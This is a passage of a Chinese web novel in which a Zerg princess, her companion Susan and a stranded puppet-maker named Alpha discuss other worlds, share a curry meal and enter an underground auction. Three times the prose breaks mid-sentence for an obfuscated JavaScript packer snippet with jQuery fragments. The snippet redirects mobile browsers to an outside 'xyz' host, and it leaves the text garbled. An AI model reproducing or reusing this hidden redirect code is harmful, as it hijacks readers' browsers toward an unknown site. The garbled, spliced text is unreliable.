放松下来的伊索尔德顺便把人偶师的存在发给了塔纳斯,大祭司回复的速度很快,总结下来就是历史中并不存在人偶师这种存在,起码就目前为止有记载的信息中没有。 “说不定是情报被销毁了,在下姑且也算是个机密人物,”阿尔法听起来还是有些不甘心。 伊索尔德平静地打破了她的幻想:“如果你所提到的名字没有出错的话,那么这些名字的主人并没有在历史上留下丝毫痕迹。这不是毁灭和嫁接就能变更的事情。” 和人偶师以为的不一样,塔纳斯所接入并不是虫族的情报库,而是图书馆。 图书馆记录着世界上的一切,它的历史比幻想种都要久远,谁也不知道它的主人是谁,只知道唯有得到认可的幻想种才被允许进入和阅读里面的信息。 因为开启条件过于模糊,连很多幻想种都认为这只是一个传说,但伊索尔德知道它是真的,因为她曾经在塔纳斯的陪伴下推开过那扇门。 她冷酷无情地说出那句话:“请接受现实,这里很大概率已经并不是你的世界了。” 话说地下城到底怎么回事...这里不是帝国主管的星系吗,为什么总是出现各种超现实事件,鸦所提到的珍宝也就算了,街头随便买到的人偶竟然是工匠为自己留下的身体这种事怎么看都不应该出现在这里吧。 如果说是出现在精灵族或似乎还有可能一点,毕竟严格意义上来说他们确实具有“生命”的权能。但是精灵不怎么喜欢死物,而阿尔法怎么看都跟精灵族没有半点关系。 虽然这个容易抽风的脑回路倒是如出一辙... 阿尔法看起来十分萎靡不振,她有气无力趴在自己的木盒上,看起来已经完全没有刚开始戏弄苏珊时的风范了。 “在下的孩子...”她抽泣道,“在下好不容易做好的...” 苏珊安慰似的拍了拍床被——没办法,伊索尔德不让它过去,只能这样了。 大受打击的人偶师花了一会儿功夫收拾自己的情绪,她调整了一下自己的姿势,端庄地跪坐好,态度和用语比刚刚醒来时郑重许多:“在下想知道更多与这个世界有关的事情,如果可以的话,希望你们能告诉我。作为回报,在下可以帮你们制作人偶。” 伊索尔德听完人偶师的话没有立刻回答,看样子是还在思考。 苏珊先开口了:“我从刚刚开始就很想问了,你的人偶跟我们这边的是有什么不同吗?” 阿尔法笑了起来,出现了伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765991|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索尔德很熟悉的神情——卡涅尔提到机甲的时候,就是这样的表情。 她轻快地说道:“我所制造的自动人偶除了观赏之外,其实大多数时候是作为武器使用的呢。不管是暗杀还是保护它们都能做得很好哟,是很可爱也很有用的孩子。你们这边没有这样的技术吗?” 伊索尔德摇了摇头。 “在我的认知里人偶只是人偶...”人偶狂热爱好者苏珊嘀咕了一句,“这么说来,你难道是武器商人之类的存在?” “...也可以这样说吧。”阿尔法想了想,“不过我还没有正式接手家中的业务,目前还是自由的。” 她转向伊索尔德,直面那双毫无波澜的深绿色眼睛,微笑道:“那么,请问这位虫族小姐的危险评估做完了吗,我是否有这个资格得到你的认可呢?” 伊索尔德轻轻点了点头:“你想知道什么?” “势力分布、地图、种族、历史之类的。虽然想说请给我相关的书籍,但我刚刚发现我看不懂你们这边的文字,”阿尔法有些困扰地说,“明明能毫无障碍地交流,你们的世界还真是奇怪。” 苏珊吐槽:“这种话应该是我们来说吧,异世界这种事我还从来没听说过,简直就跟小说一样。我们本来只是在很普通地旅行啊,结果总是发生奇奇怪怪的事情。” “我不擅长讲故事,”伊索尔德想了想,“我可以把你送去我家里,让大祭司跟你沟通。那里有很多老师,你想知道的事情大概也会有答案。” 人偶师问了一个很现实的问题:“从这里到你家大概要多久?” 伊索尔德粗略估算了一下:“大概也就三个月吧,如果阿斯塔没有跑到太远的地方。” “你家还会跑的吗?”人偶师大为震撼,总感觉这个世界在各种意义上的很微妙啊。 “阿斯塔有自我意识,它喜欢旅游。”王虫言简意赅。 “...不,感觉还是很奇怪啊。话题好像跑偏了,总之在下希望能尽可能快地获取信息,文字方面我可以自学,你能让我暂时留在你身边吗?只要大概弄清楚这个世界是什么我就会离开的,不用担心。” “最多一周。”伊索尔德略一思考,“一周后我有事情要做,到时候带着你太显眼了。” 虽然时间有点紧,但比直接被送到陌生地方去要好上太多了,人偶师没多做思考就爽快地同意了。 人偶的身体很消耗精力,她说了这么多已经有些疲惫了,感到困意的阿尔法自己从木盒下面翻了个新的不透明木盒盖子出来,然后爬进了木盒里睡觉,甚至还很有礼貌对伊索尔德和苏珊说了晚安。 苏珊和伊索尔德默默注视着她,又彼此对视一眼。 “怎么说呢...”苏珊小声说,“总感觉阿尔法心好大啊。” 伊索尔德卧室留给阿尔法,带着苏珊在客厅的沙发上坐下来,灰百合熟门熟路打开了投影,时下热门的影视剧出现在上面。 “说起来,伊索尔德刚刚的态度变得很突然呢。是塔纳斯跟你说了什么吗?” 苏珊还挺熟悉伊索尔德的作风的,她们以前也不是没遇到过突发情况,虫族的精神力虽然很作弊,但也不是真的无敌了,遇到特殊材料或者对方同样精通于精神力的话就会出现被“屏蔽”的情况。 一般来说伊索尔德会倾向于直接把人拿下,而这一次遇上阿尔法,伊索尔德虽然刚开始看起来很粗暴,但不知道为什么很快就放松了下来,进入一种有问有答的神奇状态。 就算是日常她都没这么好说话过! 而在苏珊的认知里,能够让伊索尔德这么快放松下来多半是因为她已经得知了部分关于人偶师的事情,判断不再具有威胁,因此才会重新回到平常的状态。 果不其然,伊索尔德嗯了一声。 她抛出了一个爆炸性消息。 “塔纳斯告诉我,这个世界并不是第一次遇见异世界来客了。” 37.蜜瓜大福 苏珊乍一听到这个消息还有些吃惊,但看到伊索尔德那么淡定的样子也就放松了下来,天塌下来了有高个顶着,既然虫族那边都对异世界这个概念有所了解的话,似乎也没什么大不了。更何况平行世界的存在早在很多年就得到了证实,只是因为她们自己的世界太混乱,导致大家都没怎么抽出空去研究。 想到这里,它换了个问题,有些好奇地问:“经常有人来我们这边吗?” 伊索尔德想了想:“没有什么规律,有点像两个世界之间开了一个洞。” 她伸出手比划了一下:“幻想种那边多多少少都遇到过几个,虽然数量不多,但是在图书馆里都有记载。最早的可以追溯到大概两千年前,天使族那边的推测是两个世界之间本来就挨得很近,所以壁垒很容易被打破,就像在白纸上戳了一个洞,有人会因此掉进来也是很正常的事情。” 非常形象的比喻,虽然不够准确,但苏珊大概弄明白阿尔法为什么会出现在这里了。 不过既然是白纸的话—— “也就是说其实我们也可以过去?” “理论上是可以,实际操作起来可能有点麻烦。虽然确实有人去过那边,但也只是意外,没有可供参考的地方。”伊索尔德对时间相关的理论了解不深,也就是常识再往上一点的水平,如果想后天制造穿梭世界的机器的话,从现在开始就需要召集相关人才了,或者也可以取巧一点,看看这个世界上有没有谁的异能可以达到类似的结果。 王虫单手托着脸,另一只手把玩着一只苹果,她漫不经心问道:“苏珊想去那边玩吗?” “如果好玩的话,”苏珊想了想,“说起来刚刚忘记问阿尔法的世界是什么样子了...如果很危险的话就算了吧。伊索尔德觉得呢?” “我都可以啊。不过如果说危险的话,应该中等水平吧,她们的世界大概科技发展一般,根据之前的侧写来看应该维持在工业革命那个时候。” 伊索尔德对地点没什么偏好,都是顺着苏珊去各个地方旅游,戏剧在哪里都可以上演,能够陪她“玩”的选择还挺多的。 “听起来有点落后。”苏珊客观评价。 星际时代的科学与玄学发展并重,工业革命早就是不知道多少年前的事情了。单从时代水平来看,两个世界能挨得这么近其实还挺奇怪的。 “可能是因为用科技树换了别的东西吧?”伊索尔德想到什么,笑了起来,“那边有吸血鬼哦。还有专门追捕吸血鬼的机构,异能者也很多,虽然能力体系相对单一,但是对应的社会结构特别古板,对陌生人的查探会很严格,想过去的话需要先拜托阿尔法帮我们弄一套身份,不然万一遇到需要证件的情况,我们就会被当做黑户追捕。” 伊索尔德三言两语就规划好了未来的事情,尽管她们都很清楚这个计划并不一定会成真。她们连自己的世界都还没玩够呢,异世界的话,以后再说吧。 “不过从过去的资料来看,世界是会进行自我修正的,就算是过去玩也待不了多久。”说到这里,伊索尔德忽然一拍桌子,从沙发上站了起来,“既然这样的话,应该快点催她把人偶做完啊!万一她在做好之前先回去了怎么办,到时候就找不到人了。” “明天再说吧,阿尔法不是在睡觉吗?一天功夫没关系啦...”比起担心工期的伊索尔德,反倒是提出想要人偶的苏珊更加无所谓,把睡着的人叫起来这种事有点不合适,它觉得等一两天也不算什么大事。 伊索尔德倒是对把睡着的人叫起来没什么愧疚感,不过她还是顺从苏珊的建议坐了回去。 面前的投影还在放映狗血剧目,她看了一会儿就没兴趣了,眼神放空,开始乱七八糟想些别的事情。 伊索尔德的时间观念一直很迷,但又有很强的责任感,因此在接委托的时候会额外注意这点,确保不是因为自己的原因造成委托失败。 仔细想想,最近似乎也没什么事情要做。鸦的委托在一周后,刚刚出现的麻烦客人已经睡着了,等下可以买几本基础的星际通用语词典给她,再顺便买点网课,苏珊对地下城兴趣一般可能要等拍卖会开场才有兴趣,老师委托的单子她粗略看了一遍也没什么问题,诺贝塔的委托等周一公证处开门就可以收尾了... 她捋了一遍最近的事情,发现确实没什么事可做,不由得叹了口气。 作为王储,她小时候的生活本来可以说是最无忧无虑的,但因为一直在努力压抑力量以免早夭,导致那种稳定而平淡的生活也蒙上了一层阴影。等长到可以开始游学的年纪又因为性格满星系乱转,不知道是不是运气原因,每次她企图抛弃攻略随便乱跑的时候,总能精准地跑去当地最混乱的地方... 在这种情况下,流血事件已经变成了日常事件,漂泊和动荡几乎构成了她这几个月生活的全部。 伊索尔德仔细品味了一下,发现自己对这种平静的日子还有些怀念。 但除了怀念,更多的果然是... “好无聊啊。”她无意识喃喃,“感觉最近这段日子都很普通呢...” 还在沉迷狗血剧的苏珊随口接话:“普通吗?我觉得你的评定标准一直很有问题诶...明明我们一直在被追杀啊,还有宇宙联盟那边的悬赏也还没撤下来,虽然玩得是很开心啦,但作为朋友我要说你玩的方式本身就问题很大。唉,不知道亚达娜尔思学院会不会对学生进行背调,如果会的话总觉得很担心。” 苏珊从狗血剧中脱离出来,尝试换位思考了一下,发现伊索尔德作为学生的麻烦程度简直是毁天灭地级别的。 道德观成谜也就算了,毕竟星际这么大,乱七八糟的种族也很多,情感虽然是智慧生命普遍具有的东西,但受到各方面要素影响,相同的情感却会有不同的表达方式。光苏珊听过的就有好多因为习惯不一样造成沟通惨剧的例子了,比如什么爱你就要杀你,靠生理条件来决定社会地位......像虫族这样天生等级分明的在宇宙里其实也算怪胎,不过动物发展而来的文明大多就这样,怪胎一旦多起来,大家就默认这是“正常”了。 其实就性格方面来说伊索尔德不算特别突出——还是那句话,宇宙这么大,什么样的生命都有,只是缺少点情感怎么了,还有因为情感过于充沛以至于要毁灭世界的呢! 她麻烦的地方主要在于兴致来了根本没谁能阻止,谁知道她会因为这份兴致造成什么样的后果?又有谁敢为此担保? 真是想想都地狱啊...这都已经不是麻烦了,是稍微不注意点可能就要跟自己的学生一样开始流亡星系的节奏。 想到这,灰百合的语气都有些忧愁,神似那些担忧孩子未来的家长:“伊索尔德,你真的要收敛了,地下城的委托做完之后就低调点吧,好担心你上学了还被宇宙联盟追到学校里来...” 绝对会被退学的吧。 伊索尔德不知道苏珊怎么就想到这里来了,她愣了一下,伸出去拿蜜瓜大福的手都顿在了半空:“啊?不会吧,我有注意把‘卡俄斯’和‘伊索尔德’区分开的。而且怎么就默认我会惹麻烦啊,苏珊好过分,明明我都说过了会注意不给大家添麻烦的。” 她虽然随心所欲了点,但还是有基础常识在的。伊索尔德很清楚外面和虫族不一样,不会对她有厚到无法计量的滤镜,正相反,因为虫族很少出现在外界,所以她很明白自己的形象基本上就代表了大众对于虫族的第一印象,哪怕是为了不让虫族被误解,她也有打算做一个好学生。 苏珊又想叹气了:“但你的伪装技术根本就是自学啊,万一被看出来怎么办。而且你说的话可信度...” 它沉默了一下,有些惊奇地发现: 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“友情吗?”苏珊的关注点偏到了奇怪的地方,它沉吟了一会儿,“这样说的话,你好像从来没有说过类似于‘请跟我做朋友’之类的话啊。为了巩固我们的友谊,你可以现在说一遍吗?” 伊索尔德震惊地看它:“这种台词也太不真实了吧,有点羞耻。” “你真的知道羞耻是什么东西吗?”熟知伊索尔德本质的灰百合冷静发问。 “啊,不知道。只是感觉一般来说会那样所以就说了。都是模拟的啦,但是我对你是真心。”伊索尔德用两根手指比了个心,虽然是很无敌的笑容,但苏珊很清楚这个笑容多半也是从伊索尔德采集的样本之一。 从笑容的完美程度来看,灰百合有理由认为这笑容最开始来自于某个偶像。多半还是白椿那种全宇宙闻名级别的。 虽然随心所欲,却会为了虫族而收敛,因为没有感情,反而能够更加理智地做出有利于种族未来的决策。伊索尔德或许真的很适合成为一个王,但作为朋友,灰百合还是衷心希望她能够跟其他虫族一样,有属于自己的感情。 虽然这样说有些奇怪,但灰百合认为她是会喜欢那些美好情感的。若非如此,她又为什么那么执着于“戏剧”呢? 它默默想,如果虫族一直以来所相信的“母亲”真的存在的话,能不能帮帮她呢? 灰百合想着想着就忘记自己还在跟伊索尔德说话,还是伊索尔德吃完了两颗大福之后才发现它突然沉默了。 “苏珊?苏珊?”伊索尔德伸手在它面前晃了晃,“你怎么不说话了,是哪里不舒服吗?” “这句话和刚刚那句真心也很像数据分析出来的啊。虽然我能懂你要说什么,但其他人是不会理解的。”灰百合回神,忍不住吐槽,“你当初到底都采集了什么样本,怎么老是说一些奇奇怪怪的话,明明大部分时候看起来都很正常。” 伊索尔德采集样本的时候灰百合因为进化而睡着了,等它一觉醒来,伊索尔德的数据库已经成型了。这件事一直是它的遗憾,因为它认为假如自己在的话,起码能给伊索尔德排除掉一些明显不应该出现在里面的东西。 “小说漫画之类的...因为我不太喜欢动起来的东西,所以基本上都是纸面资料。”伊索尔德回忆了一下,“剩下的部分都是从精神网络里分析的,大家知道我想干什么之后都很开心地把情感分享给我了。” “至于其他人,”她想了想,浅浅笑了一下。 苏珊看得出这个笑容承袭自塔纳斯,又圣洁,又虚幻,仿佛从月亮中走出的神一样,与人世格格不入。 伊索尔德用类似于今天天气真好的语气无所谓地说。 “其他人不重要啦。” 38.辣咖喱猪排饭 三天时间转瞬便过,阿尔法的通用语只学了个勉强,能看懂“早上好”“再见”之类的词句便是极限,不过她倒也没有很丧气,语言的学习本就是一个漫长的过程,更何况她也只在阅读上有困难,日常对话并不受影响。 第一期的拍卖会定在今晚八点开始,无数名流已经涌入了这座地下城,或住在旅店,或选择早已购置好的别墅,中层的住宅区灯光一日比一日辉煌,到了临近拍卖会的时候,已经耀眼如太阳一般。 “压轴品会在第七天登场,”鸦的投影出现在旅店套房的半空,为伊索尔德细细讲解她即将前往的地方,她复述了一遍契约里的条款,表示自己不会对伊索尔德的行为作出干涉,并祝愿她在拍卖会里玩得愉快。 影像对面,伊索尔德正趴在床上翻看一本古董书,阿尔法还在对着基础语法埋头苦学,灰百合把自己闷在玻璃罐里的清水下面,不时有咕噜咕噜的气泡浮上水面。 鸦不愧是经营地下城多年的无冕之王,哪怕真实身份有些水分,面对这样一群看起来就很不靠谱的家伙,依然能够面不改色地讲完自己的来意。 伊索尔德合上书,点点头,她语气懒洋洋的,像刚刚从睡梦中醒来,还带着点不易察觉的鼻音:“没问题的话就挂断吧。我会准时到场的。” 鸦犹豫了下:“你身边的人也要参与任务吗?” 她本来以为那只是普通的陶瓷人偶,却在听到人偶说话后推翻了自己的猜测。伊索尔德和苏珊对待它的态度都如同对待活人一般,仿佛那只栩栩如生的陶瓷人偶中寄宿着真正的灵魂。 鸦猜测那或许也是什么特殊的种族,又或者是量身定制的仿生人,星际太大了,与之相类的技术比比皆是,就连可能性都有无数种。 “嗯?”伊索尔德抬起脸,又顺着鸦的视线落点看去,目光落在捧着语法书昏昏欲睡的阿尔法身上。 被点名的阿尔法茫然抬头,她用手指指了指自己,脸上是真情实感的疑惑。 什么任务?你是谁?我们很熟吗? “哦,她不是。”伊索尔德眨眨眼,“她是来我这上补习班的,因为通用语讲得太烂了。” “......” 敷衍的借口。 算了,只要确认不会影响到之后的任务就好,不管是什么都无关紧要。 鸦又讲了几句体面的结束语,不等伊索尔德敷衍回去,便迫不及待地挂断了通讯,留下套房里三只面面相觑。 “她生气了?” 这是困惑的灰百合。 “看不出。” 这是诚实的阿尔法。 “大概吧。” 这是虽然明白为什么但懒得做更详细解释的伊索尔德。 她打了个呵欠,将这几天淘来的古董书放回原位,原本干净平整的床单被弄得皱成一团,她好半天才把自己从温暖被窝里拔出去,去衣帽间换好外出的衣服。 伊索尔德今天穿的衣服是塔纳斯隔空给她搭配的,一身黑色的西装,头发一半散下来,一半用珍珠发梳固定盘好。她头发最近长长了不少,到了肩下几寸,拂过脖颈时痒痒的,让她忍不住想打喷嚏。 “我今天要去帮老师拍几样东西,可能回来比较晚,你们有谁想出去吗?”她从衣帽间探头,“不回来的话只能待在旅店里哦。” 苏珊就没跟伊索尔德分开过,它甚至没说话,只在伊索尔德伸出手时相当自然地游了过去,蜷成了一条精致的手链。 “带我一个!”阿尔法合上语法书,把自己的脑子从那一堆变换语法里甩出去。她已经把异世界当成旅游来看待了,最近和伊索尔德及灰百合的相处十分顺遂,连带着性格都活泼了不少,“我还没去过拍卖会呢。” “诶——军火贩子没去过拍卖会?这不太对吧。我还以为你会比我们都熟悉呢。”伊索尔德把她也抱起来,放到自己肩膀上。陶瓷人偶的重量不算轻,但对虫族来说小菜一碟,阿尔法自己找了个合适位置坐好,跟苏珊一样假装自己只是一个弱小无辜的人偶。 “家里不让我出门,要等成年后自己做成了大单子才可以。你们有去过吗,是什么样子?”她有些黏黏糊糊地抱怨,听她的语气,似乎把伊索尔德当成了可以倾诉心事的好友。 伊索尔德其实弄不明白她这所谓的信任从何而来,不如说,她觉得阿尔法的警惕心简直少得可怜。刚刚醒来时的那一通发言还显得比较能唬人,等意识到现实发展已经超出自己预料之后立刻就暴露了真实的性格,她对于异世界的适应度高得离谱,伊索尔德甚至怀疑她都没怎么想着回去,光顾着玩了。 “我没去过,”伊索尔德调整了一下阿尔法的位置,随口道,“我小时候家里也不让我出门。” “我也一样。”苏珊说,“我跟伊索尔德一起长大的。” 幼年的伊索尔德无时无刻不生活在死亡的阴影之中,她光是克服自身力量的暴动就要花去大半力气,外出游玩显然是难以实现的妄想。 其实在她身体状况逐渐稳定之后倒也不是没有在塔纳斯等的陪伴下外出,但拍卖会这种鱼龙混杂的场所,塔纳斯一向持反对态度。 伊索尔德参与过几次可以在网络上竞拍的拍卖会,但第四星系这种真身到场的模式,对她来说的确是只存在于文字和图画之中的东西。 “看来我们都对拍卖会一无所知啊。”她推开门,“那就希望它能有趣点吧,如果不够好玩,总觉得白来了。” “不过我还没吃饭,”阿尔法沉吟,“我们是不是应该先找家餐馆?” —— 伊索尔德按照攻略手札并阿尔法的嗜辣口味在下层找到了一家营业数百年的老店,它地址比较偏僻,坐落在弯弯绕绕的小路里面,若非有导航引路,恐怕她们早就半途而废。 这是家装潢很有情调的咖喱店,呈现在看客面前的尽是些上了年头的木质建筑,不到一人高的栅栏里圈着一方小院,将它跟周围金碧辉煌的同行隔离开来。小院里放眼望去一片绿意,以伊索尔德的园艺造诣来看,里面种的都是些既可以当做香料使用,也可以作为景观净化心灵的多功能植物。 店主是位上了年纪的老婆婆,唯一的服务员是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794871|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的孙女,据婆婆说,她已经在这做了三十年的咖喱了。 这家店专卖各类咖喱料理以及与之配套的小菜,伊索尔德对主食不感兴趣,目标明确地点了两页甜品,剩下的就全交给苏珊和阿尔法自己做主。 苏珊要了一杯无酒精饮料,阿尔法则点了店里的招牌,据说能把人辣哭的巨辣咖喱猪排蛋包饭。 顺便一提,在她接下苏珊的定制单后伊索尔德就按照市场价支付了一大笔定金,单以数额论,她现在其实挺有钱的。 店里客人并不多,拍卖会吸走了大部分的人流,少有人路过这家开在偏僻处的饭店。 她们点的菜很快就上齐了,看在她们是第一次来的份上,店主婆婆还笑眯眯送了她们三碟奶冻。 —— 人偶、植物、虫族都是不需要吃饭的。 这是个浅显易懂的事实,遗憾的是,直到一大盘辣咖喱猪排蛋包饭端上来后,她们才迟迟意识到。 “对不起,我忘了我现在是人偶了。”阿尔法羞愧地低下头。 热气腾腾的咖喱饭散发着独属于食物的芳香,它不愧是招牌,份量大到能够把整张桌面占满一半,剩下的一半则被伊索尔德的甜品占满,这家店的甜品走少而精的路线,虽然模样可爱精致异常,但分量的确不算多,在咖喱饭的对比之下,更显得渺小。 刚刚尝试了一口咖喱饭结果差点把自己整到原地去世的阿尔法呜呜地流下了不存在的眼泪,眼前这份辣咖喱不管是从卖相、香气还是其他方面来看,都属于上上品,结果她却因为自己换了身体而无法品尝。 “我还在好奇人偶是怎么吃饭的。”坐在她对面的伊索尔德扼腕,“结果你根本忘了自己是人偶...” 坐在她旁边的灰百合默默道:“这就是你刚刚没有阻止她点单的原因吗...”它和伊索尔德想的一样,都以为阿尔法有什么独特的进食小技巧,完全没考虑过人偶师忘了自己现在不是人这回事。 “你也没阻止啊。”伊索尔德小声说,“那不是说明你也很想看吗...” 阿尔法还在背景音里对着咖喱饭流泪,灰百合和伊索尔德对视一眼,开始思索怎么解决掉这盘巨无霸咖喱。 “浪费不太好。” “是这样没错。店主婆婆会伤心的。” 今天晚上貌似就她们一桌客人,如果吃不完的话就太明显了。 “但我吃不了辣。” 这是出厂设定,虫族对辣味都存在一种天然的偏见,伊索尔德也克服不了。她倒也不是没有尝试过,结果很遗憾,只能证明她是个再纯正不过的虫族了。 “那怎么办?”苏珊发愁。 伊索尔德搜刮了一圈自己的记忆,试图找出能够接收这份咖喱饭的人选,她沉吟道:“都说地下城是个兼容并包的地方...那地下城城主的口味应该也同样吧,你说我们把它打包给鸦怎么样?我记得她今天晚上会出席开幕礼。” 苏珊看了看旁边的时钟。晚上十二点。它觉得可行,但是—— “你确定她会吃陌生人带的陌生食物吗?” 39.晚上好 拍卖会的后台正在为即将开幕的盛典做最终检查,大体上没什么差错,但有些细节还不够到位,鸦三言两语就把下属问得满头冒汗,在后台近乎凝滞般的沉重气氛中,忽然有一道声音响了起来。 “晚上好,鸦。你吃晚饭了吗?” “我在这处理你们搞出来的烂摊子你还好意思问我吃没吃饭?!”被迫加班的鸦头上爆出三个井字,怒气值一路上飙。 “哎呀,别这么生气嘛,美好生活从享受美食开始,你喜欢咖喱吗?” 那道声音还在不知死活地继续发问,尾音微微翘起,仿佛十分愉快似的。 鸦的怒气值又往上窜了一节。 “我喜欢工作,下一个。”鸦冷漠地扫过自己眼前这群废物,忽然发现有些不对。她本来以为刚刚的发言是某个下属想要活跃气氛所做的发言,但紧接着立刻意识到了这道声音的源头不在眼前,而在身后。 她回过头,看到有个人从明暗交界处走了出来,她戴着一张银色的面具,肩头坐着一只栩栩如生的陶瓷人偶。 银色面具的主人脚步轻快,手上提着一个十分夸张的打包袋,咖喱霸道的香气从里面涌出,轻而易举席卷了后台的密闭空间。 鸦的头上冒出三个问号。 “你怎么在这?” 她是给了伊索尔德地图没错,但不代表她把密码也给出去了,后台存放着拍卖会里的所有拍品,守卫森严,每个房间都被做成了没有窗户也没有通风口的密闭模式,唯一的出口还被量子锁锁住,如果密码输入错误就会原地爆炸。 密码每天一换,只有到了压轴品开拍的那天她才会把密码给出去。所以她究竟是怎么进来的? “遇到了好心人。因为他太重所以就没带上,在Y12区,感兴趣的话你可以自己去看。”伊索尔德眨眨眼,“你不欢迎我吗?明明之前还说希望我‘玩得开心’?” 那是场面话,我只会在珍宝开拍的那天欢迎你。鸦一边腹诽,一边默默叹了口气,她使了个眼色,立刻有人去伊索尔德说的坐标进行确认。 三具尸体堆叠着倒在一起,工作人员倒吸一口气,立刻向城主进行报告并催促同伴检查现场及周围是否有漏网之鱼。 “是入侵者,初步估计为团体作案,从随身携带的工具来看他们拿到了第一二层的密码,正在往第三层突破。”工作人员初步检查后在耳返里做了个简短报告,“出血量较少,死亡时间预计在半个小时之前,死亡原因不明,可能是精神层面的能力。抱歉,城主,是我们的失职。” 鸦的脸色越发阴沉下去:“继续追查,立刻变更密码,防卫系统更换为B模式,让人去调查他们手中的密码是哪来的。” “是。”对面的人应了一声。 鸦切断了通讯,重新看了一眼伊索尔德。 “我就先不问你怎么跑进后台这件事了,拍卖会快开场了,现在去座位还来得及。” 伊索尔德往前走了几步,彻底暴露在光照之下。她把打包袋塞到了鸦的手里,后者都没看清她的动作,就发现自己手里多了个沉甸甸的东西。 莫名其妙被塞了打包袋和不知名食品的鸦头上缓缓浮出三个问号。 她低头看了看袋子,又看了看伊索尔德,缓缓道:“你到底想干什么?” 伊索尔德咳了一声。 “这是一份新鲜出炉的咖喱饭。” 难怪香气如此熟悉。鸦点头。 “因为是店里的招牌所以就点了。” 这很合理,鸦继续点头。 “结果等到端上来我才发现它是辣的,我吃不了辣。” 鸦又点了点头,她等着伊索尔德继续说下去,结果发现伊索尔德微笑着看着她,不说话了。 鸦沉默了半晌,联系伊索尔德刚刚的发言,得出一个结论:“所以你因为不想吃就给我了?” “是吃不了。”伊索尔德强调,“而且是没有动过的,你自己吃或者给别人吃也行,我只是不想浪费。” “你还会介意浪费不浪费吗?”沉默地接受这份咖喱饭或许是最好的选择,但鸦实在压不下去自己的吐槽欲。 “阿尔法介意。而且这是店主婆婆亲手做的,她做的奶冻太好吃了,我不想她伤心。” 伊索尔德双手合十:“帮帮忙,地下城我只认识你一个人类。” 意料之外情理之中,伊索尔德看起来就不像是会跟人交朋友的性格,虽然这个要求无厘头了点,但看在她刚刚清理掉了三个入侵者的份上也不是不能答应。鸦把打包袋递给后面的下属,吩咐她带去食堂。 她回过身:“阿尔法又是谁?” “是我。”伊索尔德肩膀上的人偶突然张口说话了,她的脸惨白惨白的,虽然并没有流泪,但整个人看起来悲伤无比。 鸦:“......” 总觉得再问下去会看到可怕的东西。 她遵从自己的直觉,让人把伊索尔德和人偶带去会场内部了。 —— 拍卖会的邀请函从低到高分为五档,作为城主的客人,伊索尔德拿到的是最高端的那种。由于出场方式过于奇妙,导致大家都没考虑过她有可能被假冒这一可能性,身份验证的环节被省略,被鸦点名的人把她直接带到了最高层的包间。 伊索尔德瞥了一眼包间门口挂着的门牌号:09。 “就是这里。”带路的人鞠了一躬,为她打开了门。 门里面有大约一百平米的空间,按照三室一厅的标准建设,下沉式沙发占据了大半面积,沙发旁边还放着冰柜和醒酒器,未拆封的绒毯被放在沙发靠背的后面,纸巾盒旁边放着一本厚厚的纸质手册。厨房和浴室被设置在最里面,伊索尔德还看到了一面隐藏在墙后面的保险柜。 这个包厢被设计出来就是为了满足来客衣食住行的全部需求,如果有必要,甚至可以一直住在里面。 引导者介绍道:“这是此次周期内拍卖会所有拍品的名单,有需要的可以自行查看。这个房间在拍卖会期间会一直对您开放,不需要额外缴纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799283|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 租金。这是钥匙,如有遗失,可以第一时间联系我们的前台为您补办。” 钥匙是一枚幽蓝色的圆球,球体里有无数细密的白色晶体随着光芒流转游荡,如同海面上的波浪。 它被放在玄关柜台上的一处凹陷中,伊索尔德好奇之下把它拿了起来,引导者还没来得及说出下一句话,圆球中立刻放出一束微弱的光芒,缠绕在伊索尔德的手指之上。 “这是?”她捧着圆球看向引导者挑了挑眉。 “这是钥匙的认证,也是我们地下城的特色。完成认证后只有您才能打开这间屋子,”引导者接着自己刚刚的话说下去,“一般来说会直接与精神力进行链接...” 她有些迟疑:“您拒绝了链接?” 这其实是很正常的事,这个世界上存在多种能量体系,只要修行过任意一种,都能轻松调动力量在身体周围建立起屏障。钥匙的精神力等级很低,甚至可以说是柔弱,一旦遇到屏障,就无法成功完成链接。 但这也太不可思议了... 钥匙的精神力等级的确很低,但它之所以能被地下城选中还有另一个原因,即它具有悄无声息的特点。原理有点像菟丝子,当它遇到不属于自己的力量时并不会进行抵抗,而是巧妙地攀附在上面,受到这一特性影响,大部分屏障都对它不起作用,得以使它与来客迅速而无声地完成认证流程。 然而它被这位客人的“屏障”弹走了。 这要么说明钥匙跟她的相性太差,要么说明伊索尔德的屏障不同寻常。 “因为一下子冲出来太可疑了。”伊索尔德耸耸肩,她放开了禁制,让那一小束光芒涌入自己身体。它很有分寸,只在指尖那里盘踞了一会儿就飞速离开了,光看轨迹还有点落荒而逃的意思。 “这样就好了?” 